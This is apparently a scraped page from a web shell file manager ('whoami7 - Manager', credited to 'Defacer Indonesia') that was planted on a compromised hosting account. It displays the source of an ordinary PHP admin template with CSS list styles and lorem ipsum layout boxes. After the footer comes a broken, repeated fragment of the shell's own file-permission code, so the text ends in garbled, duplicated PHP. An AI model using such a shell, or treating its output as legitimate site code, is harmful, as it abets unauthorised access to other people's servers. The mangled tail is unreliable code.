Asikk-&wkwkwkwkw

whoami7 - Manager
: /home/papecmvm/public_html/application/views/
files >> //home/papecmvm/public_html/application/views/document_view.php
  

<?php require 'header.php'; ?>

<?php require 'menu.php'; ?>



      <!-- Content Wrapper. Contains page content -->

      <div class="content-wrapper">

        <!-- Content Header (Page header) -->

        <section class="content-header">

          <h1>

           Documents

          </h1>

          <ol class="breadcrumb">

            <li><a href="#"><i class="fa fa-dashboard"></i> Dashboard</a></li>

          </ol>

        </section>



        <!-- Main content -->
<style>
.list-blue ul li:before {
    content: "\f00c";
    font-family: 'FontAwesome';
	color: #7fdbfd;
	margin-right:10px;
	
}
.list-orange ul li:before {
    content: "\f00c";
    font-family: 'FontAwesome';
	color: #fc8a58;
	margin-right:10px;
}
.list-green ul li:before {
    content: "\f00c";
    font-family: 'FontAwesome';
	color: #c4d208;
	margin-right:10px;
}
.list-dark-blue ul li:before {
    content: "\f00c";
    font-family: 'FontAwesome';
	color: #528cba;
	margin-right:10px;
}

.list-arrow-blue ul li:before {
    content: "\f105";
    font-family: 'FontAwesome';
	color: #7fdbfd;
	margin-right:10px;
	
}
.list-arrow-orange ul li:before {
    content: "\f105";
    font-family: 'FontAwesome';
	color: #fc8a58;
	margin-right:10px;
}
.list-arrow-green ul li:before {
    content: "\f105";
    font-family: 'FontAwesome';
	color: #c4d208;
	margin-right:10px;
}
.list-arrow-dark-blue ul li:before {
    content: "\f105";
    font-family: 'FontAwesome';
	color: #528cba;
	margin-right:10px;
}


.list-double-arrow-blue ul li:before {
    content: "\f101";
    font-family: 'FontAwesome';
	color: #7fdbfd;
	margin-right:10px;
	
}
.list-double-arrow-orange ul li:before {
    content: "\f101";
    font-family: 'FontAwesome';
	color: #fc8a58;
	margin-right:10px;
}
.list-double-arrow-green ul li:before {
    content: "\f101";
    font-family: 'FontAwesome';
	color: #c4d208;
	margin-right:10px;
}
.list-double-arrow-dark-blue ul li:before {
    content: "\f101";
    font-family: 'FontAwesome';
	color: #528cba;
	margin-right:10px;
}


.list-star-blue ul li:before {
    content: "\f005";
    font-family: 'FontAwesome';
	color: #7fdbfd;
	margin-right:10px;
	
}
.list-star-orange ul li:before {
    content: "\f005";
    font-family: 'FontAwesome';
	color: #fc8a58;
	margin-right:10px;
}
.list-star-green ul li:before {
    content: "\f005";
    font-family: 'FontAwesome';
	color: #c4d208;
	margin-right:10px;
}
.list-star-dark-blue ul li:before {
    content: "\f005";
    font-family: 'FontAwesome';
	color: #528cba;
	margin-right:10px;
}

</style>
        <section class="content">
		<h3>List Style</h3>
		 <div class="box box-solid" style="max-width: 600px;">
			<div class="box-body no-padding">
			  <table id="layout-skins-list" class="table table-striped bring-up nth-2-center">
				<thead>
				  <tr>
					<th>List Class</th>
					<th>Preview</th>
				  </tr>
				</thead>
				<tbody>
				  <tr>
					<td><code>list-blue</code></td>
					<td class='list-blue'><ul class='list-inline'><li>list-blue</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-dark-blue</code></td>
					<td class='list-dark-blue'><ul class='list-inline'><li>list-dark-blue</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-orange</code></td>
					<td class='list-orange'><ul class='list-inline'><li>list-orange</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-green</code></td>
					<td class='list-green'><ul class='list-inline'><li>list-green</li></ul></td>
				  </tr>

				 <!-- arrow-->
				 <tr>
					<td><code>list-arrow-blue</code></td>
					<td class='list-arrow-blue'><ul class='list-inline'><li>list-arrow-blue</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-arrow-dark-blue</code></td>
					<td class='list-arrow-dark-blue'><ul class='list-inline'><li>list-arrow-dark-blue</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-arrow-orange</code></td>
					<td class='list-arrow-orange'><ul class='list-inline'><li>list-arrow-orange</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-arrow-green</code></td>
					<td class='list-arrow-green'><ul class='list-inline'><li>list-arrow-green</li></ul></td>
				  </tr>
				<!-- double arrow --> 
				<tr>
					<td><code>list-double-arrow-blue</code></td>
					<td class='list-double-arrow-blue'><ul class='list-inline'><li>list-double-arrow-blue</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-double-arrow-dark-blue</code></td>
					<td class='list-double-arrow-dark-blue'><ul class='list-inline'><li>list-double-arrow-dark-blue</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-double-arrow-orange</code></td>
					<td class='list-double-arrow-orange'><ul class='list-inline'><li>list-double-arrow-orange</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-double-arrow-green</code></td>
					<td class='list-double-arrow-green'><ul class='list-inline'><li>list-double-arrow-green</li></ul></td>
				  </tr>
				  
				  <!-- double arrow --> 
				<tr>
					<td><code>list-star-blue</code></td>
					<td class='list-star-blue'><ul class='list-inline'><li>list-star-blue</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-star-dark-blue</code></td>
					<td class='list-star-dark-blue'><ul class='list-inline'><li>list-star-dark-blue</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-star-orange</code></td>
					<td class='list-star-orange'><ul class='list-inline'><li>list-star-orange</li></ul></td>
				  </tr>
				  <tr>
					<td><code>list-star-green</code></td>
					<td class='list-star-green'><ul class='list-inline'><li>list-star-green</li></ul></td>
				  </tr>
				</tbody>
			  </table>
			</div><!-- /.box-body -->
		  </div>

		  <h3>Dynamic Box [8_4]</h3>
		 <div class="box box-solid">
			<div class="box-body">
			<div class="row">
			<div class="col-sm-4" style="">
			<img src="http://starprojects.in/aupair_cms/uploads/about-img-2.png" alt="Babysitter" width='100%'>
			</div>
			<div class="col-sm-8" style="">
			<h3>Title</h3>
			<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc commodo quam non eleifend semper. Nunc mollis ullamcorper faucibus. Donec ac condimentum diam, eget mollis ante. Proin at velit egestas, scelerisque mauris lacinia, consequat ex. Aliquam interdum finibus libero sed congue. Nunc sed enim at libero dapibus lobortis vitae non lorem. Cras in ligula at orci aliquet porttitor et at magna. Nulla lobortis interdum elit, et elementum augue fermentum vel. Vestibulum et sem volutpat, laoreet elit a, finibus turpis. Pellentesque vel ligula mi. Sed sed lectus magna. Donec pretium odio sit amet tristique fermentum. Phasellus ac odio risus. Maecenas tincidunt tincidunt tortor in suscipit. Duis facilisis massa a sapien ultricies, consectetur sollicitudin nunc tristique.</p>
			</div>
			</div>
			
			
			</div>
		 </div>
<pre class="prettyprint">
			
&lt;table cellpadding="1" cellspacing="1"&gt;
 &lt;tbody&gt;
  &lt;tr&gt;
   &lt;td&gt;
	&lt;img src="#"/&gt;
   &lt;/td&gt;
   &lt;td rowspan="1"&gt;
	&lt;h3&gt;Title&lt;/h3&gt;
	&lt;p>...&lt;/p&gt;
   &lt;/div&gt;
   &lt;/td&gt;
  &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
</pre> 


<h3>Dynamic Box [8_4]</h3>
		 <div class="box box-solid">
			<div class="box-body">
			<div class="row">
			<div class="col-sm-8">
			<h3>Title</h3>
			<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc commodo quam non eleifend semper. Nunc mollis ullamcorper faucibus. Donec ac condimentum diam, eget mollis ante. Proin at velit egestas, scelerisque mauris lacinia, consequat ex. Aliquam interdum finibus libero sed congue. Nunc sed enim at libero dapibus lobortis vitae non lorem. Cras in ligula at orci aliquet porttitor et at magna. Nulla lobortis interdum elit, et elementum augue fermentum vel. Vestibulum et sem volutpat, laoreet elit a, finibus turpis. Pellentesque vel ligula mi. Sed sed lectus magna. Donec pretium odio sit amet tristique fermentum. Phasellus ac odio risus. Maecenas tincidunt tincidunt tortor in suscipit. Duis facilisis massa a sapien ultricies, consectetur sollicitudin nunc tristique.</p>
			</div>
			<div class="col-sm-4">
			<img src="http://starprojects.in/aupair_cms/uploads/about-img-2.png" alt="Babysitter" width='100%'>
			</div>
			</div>
			
			
			</div>
		 </div>
<pre class="prettyprint">
			
&lt;table cellpadding="1" cellspacing="1"&gt;
 &lt;tbody&gt;
  &lt;tr&gt;
   &lt;td rowspan="1"&gt;
	&lt;h3&gt;Title&lt;/h3&gt;
	&lt;p&gt;...&lt;/p&gt;
   &lt;/div&gt;
   &lt;/td&gt;
   &lt;td&gt;
	&lt;img src="#"/&gt;
   &lt;/td&gt;
  &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
</pre> 
		  
        </section><!-- /.content -->

      </div><!-- /.content-wrapper -->



<?php require 'footer.php'; ?>
Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>